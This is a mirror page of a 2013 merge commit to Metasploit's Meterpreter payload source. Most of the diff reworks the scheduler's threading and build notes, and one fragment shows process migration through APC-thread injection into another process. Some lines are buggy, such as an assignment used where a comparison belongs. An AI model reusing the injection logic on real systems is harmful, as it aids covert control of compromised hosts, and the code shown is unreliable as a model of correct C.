1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

Merge branch 'warning_removal' into ext_server_extapi

This commit is contained in:
OJ 2013-11-14 19:34:44 +10:00
commit 35fad79cf0
83 changed files with 3262 additions and 2454 deletions

@ -43,6 +43,12 @@ source/jpeg-8/Backup/*
# ignore posix temp stuff # ignore posix temp stuff
posix-meterp-build-tmp/* posix-meterp-build-tmp/*
data/meterpreter/*
source/server/rtld/elf2bin
source/server/rtld/lib*
source/server/rtld/msflinker
source/server/rtld/msflinker.bin
source/server/rtld/rtldtest
# Doxygen output # Doxygen output
docs/* docs/*

@ -9,10 +9,13 @@ This is the new repository for the Meterpreter [source], which was originally in
Building - Windows Building - Windows
================== ==================
Meterpreter is now being built with [Visual Studio 2013 Express for Desktop][vs_express] or any As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is built
paid version of [Visual Studio 2013][vs_paid]. Earlier toolsets on Windows are no longer with [Visual Studio 2013 Express for Desktop][vs_express] or any paid version
supported. Make sure that the version that you download is of [Visual Studio 2013][vs_paid]. Earlier toolsets on Windows are no longer
`Visual Studio Express 2013 for Windows Desktop`. supported -- this includes Visual Studio 2012. Make sure that the version that
you download is `Visual Studio Express 2013 for Windows Desktop`. If you are
using a dedicated build machine, your best bet is to uninstall Visual Studio
2012 if your only project is Meterpreter.
Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible
with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this

@ -1,317 +1,310 @@
#include "queue.h" #include "common.h"
#include "common.h"
#include <poll.h> #include <poll.h>
#include <pthread.h> typedef struct _WaitableEntry
{
typedef struct _WaitableEntry Remote * remote;
{ HANDLE waitable;
HANDLE waitable; EVENT* pause;
LPVOID context; EVENT* resume;
WaitableNotifyRoutine routine; LPVOID context;
LIST_ENTRY(_WaitableEntry) link; BOOL running;
} WaitableEntry; WaitableNotifyRoutine routine;
WaitableDestroyRoutine destroy;
int nentries = 0; } WaitableEntry;
int ntableentries = 0;
struct pollfd *polltable; /*
LIST_HEAD(_WaitableEntryHead, _WaitableEntry) WEHead; * The list of all currenltly running threads in the scheduler subsystem.
*/
THREAD *scheduler_thread; LIST * schedulerThreadList = NULL;
/* /*
* If there are no waitables in the queue, we wait * The Remote that is associated with the scheduler subsystem
* for a conditional broadcast to start it. */
*/ Remote * schedulerRemote = NULL;
pthread_mutex_t scheduler_mutex; /*
pthread_cond_t scheduler_cond; * Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable.
*/
DWORD scheduler_run(THREAD *thread); DWORD scheduler_initialize( Remote * remote )
{
DWORD scheduler_destroy( VOID ) DWORD result = ERROR_SUCCESS;
{
WaitableEntry *current, *tmp; dprintf( "[SCHEDULER] entering scheduler_initialize." );
dprintf("Shutdown of scheduler requested"); if( remote == NULL )
return ERROR_INVALID_HANDLE;
if(scheduler_thread)
{ schedulerThreadList = list_create();
dprintf("sigterm'ing thread"); if( schedulerThreadList == NULL )
thread_sigterm(scheduler_thread); return ERROR_INVALID_HANDLE;
// wake up the thread if needed schedulerRemote = remote;
pthread_cond_signal(&scheduler_cond);
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
// can delay execution up to 2 sec give or take
thread_join(scheduler_thread); return result;
}
// free up memory
thread_destroy(scheduler_thread); /*
scheduler_thread = NULL; * Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
* this function blocks untill all waitable threads have terminated.
dprintf("thread joined .. going for polltable"); */
DWORD scheduler_destroy( VOID )
if(polltable) {
{ DWORD result = ERROR_SUCCESS;
free(polltable); DWORD index = 0;
polltable = NULL; DWORD count = 0;
nentries = ntableentries = 0; LIST * jlist = list_create();
} THREAD * thread = NULL;
WaitableEntry * entry = NULL;
dprintf("Now for the fun part, iterating through list and removing items");
dprintf( "[SCHEDULER] entering scheduler_destroy." );
LIST_FOREACH_SAFE(current, &WEHead, link, tmp)
{ lock_acquire( schedulerThreadList->lock );
// can't call close function due to no remote struct
// will segfault if we try count = list_count( schedulerThreadList );
// XXX could steal from scheduler_thread->parameter1 ?
for( index=0 ; index < count ; index++ )
dprintf("current: %08x, current->routine: %08x", current, current->routine); {
thread = (THREAD *)list_get( schedulerThreadList, index );
LIST_REMOVE(current, link); if( thread == NULL )
close(current->waitable); continue;
free(current->context);
free(current); list_push( jlist, thread );
}
entry = (WaitableEntry *)thread->parameter1;
dprintf("All done. Leaving");
if( !entry->running )
} event_signal( entry->resume );
return ERROR_SUCCESS;
} thread_sigterm( thread );
}
DWORD scheduler_initialize( Remote * remote )
{ lock_release( schedulerThreadList->lock );
if(scheduler_thread) {
dprintf("Hmmm. scheduler_initialize() called twice?"); dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
return ERROR_SUCCESS;
} while( TRUE )
{
pthread_mutex_init(&scheduler_mutex, NULL); dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
pthread_cond_init(&scheduler_cond, NULL);
thread = (THREAD *)list_pop( jlist );
scheduler_thread = thread_create(scheduler_run, remote, NULL); if( thread == NULL )
if(! scheduler_thread) { break;
return ENOMEM;
} dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
thread_run(scheduler_thread); thread_join( thread );
}
dprintf("Initialized scheduler thread and started it running");
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
return ERROR_SUCCESS;
} list_destroy( jlist );
/* list_destroy( schedulerThreadList );
* Insert a waitable object for checking and processing
*/ schedulerThreadList = NULL;
DWORD
scheduler_insert_waitable(HANDLE waitable, LPVOID context, dprintf( "[SCHEDULER] leaving scheduler_destroy." );
WaitableNotifyRoutine routine)
{ return result;
DWORD retcode = ERROR_SUCCESS; }
WaitableEntry *current; /*
struct pollfd *polltableprev; * Insert a new waitable thread for checking and processing.
*/
pthread_mutex_lock(&scheduler_mutex); DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy )
{
//dprintf("Handle: %d, context: 0x%08x, routine: 0x%08x. nentries = %d, polltable = 0x%08x", DWORD result = ERROR_SUCCESS;
// waitable, context, routine, nentries, polltable); THREAD * swt = NULL;
do { WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
if ((current = malloc(sizeof(WaitableEntry))) == NULL) { if( entry == NULL )
retcode = ENOMEM; return ERROR_NOT_ENOUGH_MEMORY;
break;
} dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X )",
waitable, entryContext, threadContext, routine, destroy );
nentries++;
memset( entry, 0, sizeof( WaitableEntry ) );
if (nentries > ntableentries) {
polltableprev = polltable; entry->remote = schedulerRemote;
entry->waitable = waitable;
// We do *2 because reallocating every scheduler_insert_waitable entry->destroy = destroy;
// is slower than need be. entry->context = entryContext;
entry->routine = routine;
polltable = malloc((nentries*2)*sizeof(struct pollfd)); entry->pause = event_create();
entry->resume = event_create();
if (polltable == NULL) {
nentries--; swt = thread_create( scheduler_waitable_thread, entry, threadContext, NULL );
polltable = polltableprev; if( swt != NULL )
free(current); {
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
retcode = ENOMEM; thread_run( swt );
break; }
} else
{
if (polltableprev != NULL) free( entry );
free(polltableprev); result = ERROR_INVALID_HANDLE;
}
ntableentries = (nentries*2);
} dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
current->waitable = waitable;
current->context = context; return result;
current->routine = routine; }
LIST_INSERT_HEAD(&WEHead, current, link); /*
* Signal a waitable object.
*/
} while(0); DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
{
DWORD index = 0;
dprintf("WEHead: %08x, Now nentries = %d, and polltable = 0x%08x. LIST_EMPTY: %d", &WEHead, nentries, polltable, LIST_EMPTY(&WEHead)); DWORD count = 0;
/* THREAD * thread = NULL;
LIST_FOREACH(current, &WEHead, link) WaitableEntry * entry = NULL;
dprintf("current->waitable: %d, current->context: %08x, current->routine: %08x", DWORD result = ERROR_NOT_FOUND;
current->waitable, current->context, current->routine);
*/ dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );
pthread_mutex_unlock(&scheduler_mutex); if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE;
// wake up scheduler if needed.
pthread_cond_signal(&scheduler_cond); lock_acquire( schedulerThreadList->lock );
return retcode; count = list_count( schedulerThreadList );
}
for( index=0 ; index < count ; index++ )
/* {
* Remove a waitable object thread = (THREAD *)list_get( schedulerThreadList, index );
*/ if( thread == NULL )
DWORD continue;
scheduler_remove_waitable(HANDLE waitable)
{ entry = (WaitableEntry *)thread->parameter1;
DWORD retcode = ERROR_SUCCESS; if( entry == NULL )
WaitableEntry *current; continue;
dprintf("Handle: %d", waitable); if( entry->waitable == waitable )
{
pthread_mutex_lock(&scheduler_mutex); dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
if( signal == Pause )
do { {
LIST_FOREACH(current, &WEHead, link) if( entry->running ) {
if (current->waitable == waitable) dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
break; event_signal( entry->pause );
} else {
if (current == NULL) { dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
retcode = ENOENT; }
break; }
} else
{
LIST_REMOVE(current, link); if( !entry->running ) {
free(current); dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
nentries--; event_signal( entry->resume );
} while(0); }
pthread_mutex_unlock(&scheduler_mutex); if( signal == Stop ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
return retcode; thread_sigterm( thread );
} } else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
/* }
* Runs the scheduler, checking waitable objects for data }
*/
DWORD result = ERROR_SUCCESS;
scheduler_run(THREAD *thread) break;
{ }
Remote *remote; }
remote = (Remote *) thread->parameter1;
WaitableEntry *current, *tmp; lock_release( schedulerThreadList->lock );
int ret, i, found, idx;
int timeout; dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );
timeout = 1000; return result;
}
// see if we can modify this code to use waitable as the index into polltable
// and waitable events. saves time looking up in exchange for more memory use. /*
* The schedulers waitable thread. Each scheduled item will have its own thread which
pthread_mutex_lock(&scheduler_mutex); * waits for either data to process or the threads signal to terminate.
*/
dprintf("Beginning loop"); DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
{
while( event_poll(thread->sigterm, 0) == FALSE ) struct pollfd pollDetail = {0};
{ WaitableEntry * entry = NULL;
// scheduler_mutex is held upon entry and execution of the loop DWORD result = 0;
BOOL terminate = FALSE;
idx = 0; UINT signalIndex = 0;
while(event_poll(thread->sigterm, 0) == FALSE && (LIST_EMPTY(&WEHead) || polltable == NULL)) { if( thread == NULL )
// XXX I'd prefer to use pthread_cond_timedwait, but it's broken in bionic and just return ERROR_INVALID_HANDLE;
// chews cpu
entry = (WaitableEntry *)thread->parameter1;
//dprintf(" Waiting for conditional (%08x). %d vs %d", if( entry == NULL )
// &scheduler_cond, LIST_EMPTY(&WEHead), polltable == NULL); return ERROR_INVALID_HANDLE;
pthread_cond_wait(&scheduler_cond, &scheduler_mutex); if( entry->routine == NULL )
return ERROR_INVALID_HANDLE;
// pthread_cond_wait still chews CPU in some cases, usleep to yield
// processor so we don't just spin. if( schedulerThreadList == NULL )
usleep(1000); return ERROR_INVALID_HANDLE;
}
list_add( schedulerThreadList, thread );
LIST_FOREACH(current, &WEHead, link) {
dprintf("current->waitable: %d, current->context: %08x, current->routine: %08x", pollDetail.fd = entry->waitable;
current->waitable, current->context, current->routine); pollDetail.events = POLLRDNORM;
polltable[idx].fd = current->waitable; pollDetail.revents = 0;
polltable[idx].events = POLLRDNORM;
polltable[idx].revents = 0; dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
idx++;
}
entry->running = TRUE;
dprintf("Created a polltable of %d", idx); while( !terminate )
{
pthread_mutex_unlock(&scheduler_mutex); if( event_poll( thread->sigterm, 0 ) ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
ret = poll(polltable, idx, timeout); terminate = TRUE;
}
pthread_mutex_lock(&scheduler_mutex); else if( event_poll( entry->pause, 0 ) ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to pause...", thread );
if(ret == 0) continue; entry->running = FALSE;
if(ret == -1) { while( !event_poll( entry->resume, 1000 ) );
if(errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) { entry->running = TRUE;
continue; dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread );
} }
dprintf("poll() failed, errno: %d (%s). Sleeping 1 second and retrying", errno, strerror(errno)); else if( poll( &pollDetail, 1, 100 ) == POLLIN ) {
sleep(1); //dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread );
continue; entry->routine( entry->remote, entry->context, (LPVOID)thread->parameter2 );
} }
}
for (found = i = 0; i < idx && found < ret; i++)
{ dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
if (polltable[i].revents)
{ // we acquire the lock for this block as we are freeing 'entry' which may be accessed
LIST_FOREACH(current, &WEHead, link) // in a second call to scheduler_signal_waitable for this thread (unlikely but best practice).
if (current->waitable == polltable[i].fd) dprintf( "[SCHEDULER] attempting to remove thread( 0x%08X )", thread );
break; lock_acquire( schedulerThreadList->lock );
if( list_remove( schedulerThreadList, thread ) )
if(current) {
{ if( entry->destroy ) {
ret = current->routine(remote, current->context); dprintf( "[SCHEDULER] destroying thread( 0x%08X )", thread );
if(ret != ERROR_SUCCESS) entry->destroy( entry->waitable, entry->context, (LPVOID)thread->parameter2 );
{ dprintf( "[SCHEDULER] destroyed thread( 0x%08X )", thread );
// could call close due to remote, but it would deadlock }
// if it calls remove waitable else if( entry->waitable ) {
// could make a separate list to handle when we are not locking dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable);
// unlink and let rest deal with it ? close( entry->waitable );
}
dprintf("current->routine (%08x / %08x) returned an error message. destroying", current->routine, current->context);
dprintf( "[SCHEDULER] cleaning up resume thread( 0x%08X )", thread );
LIST_REMOVE(current, link); event_destroy( entry->resume );
close(current->waitable); dprintf( "[SCHEDULER] cleaning up pause thread( 0x%08X )", thread );
channel_close((Channel *)current->context, remote, NULL, 0, NULL); event_destroy( entry->pause );
free(current); dprintf( "[SCHEDULER] cleaning up thread( 0x%08X )", thread );
thread_destroy( thread );
nentries--; dprintf( "[SCHEDULER] cleaning up entry( 0x%08X )", thread );
free( entry );
} }
} lock_release( schedulerThreadList->lock );
}
} return ERROR_SUCCESS;
} }
dprintf("Ending loop");
pthread_mutex_unlock(&scheduler_mutex);
}

@ -65,7 +65,7 @@ typedef struct _MIGRATECONTEXT
/* /*
* Migrate the meterpreter server from the current process into another process. * Migrate the meterpreter server from the current process into another process.
*/ */
DWORD remote_request_core_migrate( Remote * remote, Packet * packet ) BOOL remote_request_core_migrate( Remote * remote, Packet * packet, DWORD* pResult )
{ {
DWORD dwResult = ERROR_SUCCESS; DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL; Packet * response = NULL;
@ -185,26 +185,12 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS ) if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" ) BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" )
} }
/*
// Wait at most 15 seconds for the event to be set letting us know that it's finished
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
// Signal the main server thread to begin the shutdown as migration has been successfull.
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (signaling main thread)...");
thread_sigterm( serverThread );
*/
// Signal the main server thread to begin the shutdown as migration has been successfull. //// Wait at most 15 seconds for the event to be set letting us know that it's finished
// If the thread is not killed, the pending packet_receive prevents the new process //// Unfortunately, its too late to do anything about a failure at this point
// from being able to negotiate SSL. //if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (killing the main thread)..."); // dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
thread_kill( serverThread );
// Wait at most 15 seconds for the event to be set letting us know that it's finished
// Unfortunately, its too late to do anything about a failure at this point
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
dwResult = ERROR_SUCCESS; dwResult = ERROR_SUCCESS;
@ -221,7 +207,10 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
if( hEvent ) if( hEvent )
CloseHandle( hEvent ); CloseHandle( hEvent );
return dwResult; if( pResult )
*pResult = dwResult;
return dwResult = ERROR_SUCCESS ? TRUE : FALSE;
} }

@ -2,10 +2,14 @@
typedef struct _WaitableEntry typedef struct _WaitableEntry
{ {
Remote * remote; Remote * remote;
HANDLE waitable; HANDLE waitable;
LPVOID context; EVENT* pause;
WaitableNotifyRoutine routine; EVENT* resume;
LPVOID context;
BOOL running;
WaitableNotifyRoutine routine;
WaitableDestroyRoutine destroy;
} WaitableEntry; } WaitableEntry;
/* /*
@ -52,6 +56,7 @@ DWORD scheduler_destroy( VOID )
DWORD count = 0; DWORD count = 0;
LIST * jlist = list_create(); LIST * jlist = list_create();
THREAD * thread = NULL; THREAD * thread = NULL;
WaitableEntry * entry = NULL;
dprintf( "[SCHEDULER] entering scheduler_destroy." ); dprintf( "[SCHEDULER] entering scheduler_destroy." );
@ -67,6 +72,11 @@ DWORD scheduler_destroy( VOID )
list_push( jlist, thread ); list_push( jlist, thread );
entry = (WaitableEntry *)thread->parameter1;
if( !entry->running )
event_signal( entry->resume );
thread_sigterm( thread ); thread_sigterm( thread );
} }
@ -76,7 +86,7 @@ DWORD scheduler_destroy( VOID )
while( TRUE ) while( TRUE )
{ {
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." ); dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread list..." );
thread = (THREAD *)list_pop( jlist ); thread = (THREAD *)list_pop( jlist );
if( thread == NULL ) if( thread == NULL )
@ -103,7 +113,7 @@ DWORD scheduler_destroy( VOID )
/* /*
* Insert a new waitable thread for checking and processing. * Insert a new waitable thread for checking and processing.
*/ */
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine ) DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy )
{ {
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
THREAD * swt = NULL; THREAD * swt = NULL;
@ -112,16 +122,20 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
if( entry == NULL ) if( entry == NULL )
return ERROR_NOT_ENOUGH_MEMORY; return ERROR_NOT_ENOUGH_MEMORY;
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine ); dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X )",
waitable, entryContext, threadContext, routine, destroy );
memset( entry, 0, sizeof( WaitableEntry ) ); memset( entry, 0, sizeof( WaitableEntry ) );
entry->remote = schedulerRemote; entry->remote = schedulerRemote;
entry->waitable = waitable; entry->waitable = waitable;
entry->context = context; entry->destroy = destroy;
entry->context = entryContext;
entry->routine = routine; entry->routine = routine;
entry->pause = event_create();
entry->resume = event_create();
swt = thread_create( scheduler_waitable_thread, entry, NULL ); swt = thread_create( scheduler_waitable_thread, entry, threadContext, NULL );
if( swt != NULL ) if( swt != NULL )
{ {
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt ); dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
@ -139,17 +153,17 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
} }
/* /*
* Remove a waitable object by signaling the waitable thread to terminate. * Signal a waitable object.
*/ */
DWORD scheduler_remove_waitable( HANDLE waitable ) DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
{ {
DWORD index = 0; DWORD index = 0;
DWORD count = 0; DWORD count = 0;
THREAD * thread = NULL; THREAD * thread = NULL;
WaitableEntry * entry = NULL; WaitableEntry * entry = NULL;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_NOT_FOUND;
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable ); dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );
if( schedulerThreadList == NULL || waitable == NULL ) if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE; return ERROR_INVALID_HANDLE;
@ -170,8 +184,31 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
if( entry->waitable == waitable ) if( entry->waitable == waitable )
{ {
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread ); dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
thread_sigterm( thread ); if( signal == Pause )
{
if( entry->running ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
event_signal( entry->pause );
} else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
}
}
else
{
if( !entry->running ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
event_signal( entry->resume );
}
if( signal == Stop ) {
dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
thread_sigterm( thread );
} else {
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
}
}
result = ERROR_SUCCESS; result = ERROR_SUCCESS;
break; break;
} }
@ -179,7 +216,7 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
lock_release( schedulerThreadList->lock ); lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" ); dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );
return result; return result;
} }
@ -190,10 +227,11 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
*/ */
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
{ {
HANDLE waitableHandles[2] = {0}; HANDLE waitableHandles[3] = {0};
WaitableEntry * entry = NULL; WaitableEntry * entry = NULL;
DWORD result = 0; DWORD result = 0;
BOOL terminate = FALSE; BOOL terminate = FALSE;
UINT signalIndex = 0;
if( thread == NULL ) if( thread == NULL )
return ERROR_INVALID_HANDLE; return ERROR_INVALID_HANDLE;
@ -211,23 +249,34 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
list_add( schedulerThreadList, thread ); list_add( schedulerThreadList, thread );
waitableHandles[0] = thread->sigterm->handle; waitableHandles[0] = thread->sigterm->handle;
waitableHandles[1] = entry->waitable; waitableHandles[1] = entry->pause->handle;
waitableHandles[2] = entry->waitable;
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread ); dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
dprintf( "[SCHEDULER] waiting on term=0x%X pause=0x%X waitable=0x%X", waitableHandles[0], waitableHandles[1], waitableHandles[2] );
entry->running = TRUE;
while( !terminate ) while( !terminate )
{ {
dprintf( "[SCHEDULER] About to wait ( 0x%08X )", thread );
result = WaitForMultipleObjects( 2, (HANDLE *)&waitableHandles, FALSE, INFINITE ); result = WaitForMultipleObjects( 3, waitableHandles, FALSE, INFINITE );
switch( result - WAIT_OBJECT_0 ) dprintf( "[SCHEDULER] Wait returned ( 0x%08X )", thread );
signalIndex = result - WAIT_OBJECT_0;
switch( signalIndex )
{ {
case 0: case 0:
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread ); dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
terminate = TRUE; terminate = TRUE;
break; break;
case 1: case 1:
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to pause...", thread );
entry->running = FALSE;
event_poll( entry->resume, INFINITE );
entry->running = TRUE;
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread );
case 2:
//dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread ); //dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread );
entry->routine( entry->remote, entry->context ); entry->routine( entry->remote, entry->context, thread->parameter2 );
break; break;
default: default:
break; break;
@ -237,18 +286,24 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread ); dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
// we acquire the lock for this block as we are freeing 'entry' which may be accessed // we acquire the lock for this block as we are freeing 'entry' which may be accessed
// in a second call to scheduler_remove_waitable for this thread (unlikely but best practice). // in a second call to scheduler_signal_waitable for this thread (unlikely but best practice).
lock_acquire( schedulerThreadList->lock ); lock_acquire( schedulerThreadList->lock );
if( list_remove( schedulerThreadList, thread ) ) if( list_remove( schedulerThreadList, thread ) )
{ {
if(entry->waitable) { if( entry->destroy ) {
entry->destroy( entry->waitable, entry->context, thread->parameter2 );
}
else if( entry->waitable ) {
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable); dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable);
CloseHandle( entry->waitable ); CloseHandle( entry->waitable );
} }
event_destroy( entry->resume );
event_destroy( entry->pause );
thread_destroy( thread ); thread_destroy( thread );
free( entry ); free( entry );
} }
lock_release( schedulerThreadList->lock ); lock_release( schedulerThreadList->lock );
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -5,59 +5,62 @@
#include "common.h" #include "common.h"
// Local remote request implementors // Local remote request implementors
extern DWORD remote_request_core_console_write(Remote *remote, Packet *packet); extern DWORD remote_request_core_console_write( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_open(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_open( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_write(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_write( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_read(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_read( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_close(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_close( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_seek( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_eof( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_tell( Remote *remote, Packet *packet );
extern DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet); extern DWORD remote_request_core_channel_interact( Remote *remote, Packet *packet );
extern DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet); extern DWORD remote_request_core_crypto_negotiate( Remote *remote, Packet *packet );
extern DWORD remote_request_core_shutdown(Remote *remote, Packet *packet); extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult);
extern DWORD remote_request_core_migrate(Remote *remote, Packet *packet); extern BOOL remote_request_core_migrate( Remote *remote, Packet *packet, DWORD* pResult );
// Local remote response implementors // Local remote response implementors
extern DWORD remote_response_core_console_write(Remote *remote, Packet *packet); extern DWORD remote_response_core_console_write( Remote *remote, Packet *packet );
extern DWORD remote_response_core_channel_open(Remote *remote, Packet *packet); extern DWORD remote_response_core_channel_open( Remote *remote, Packet *packet );
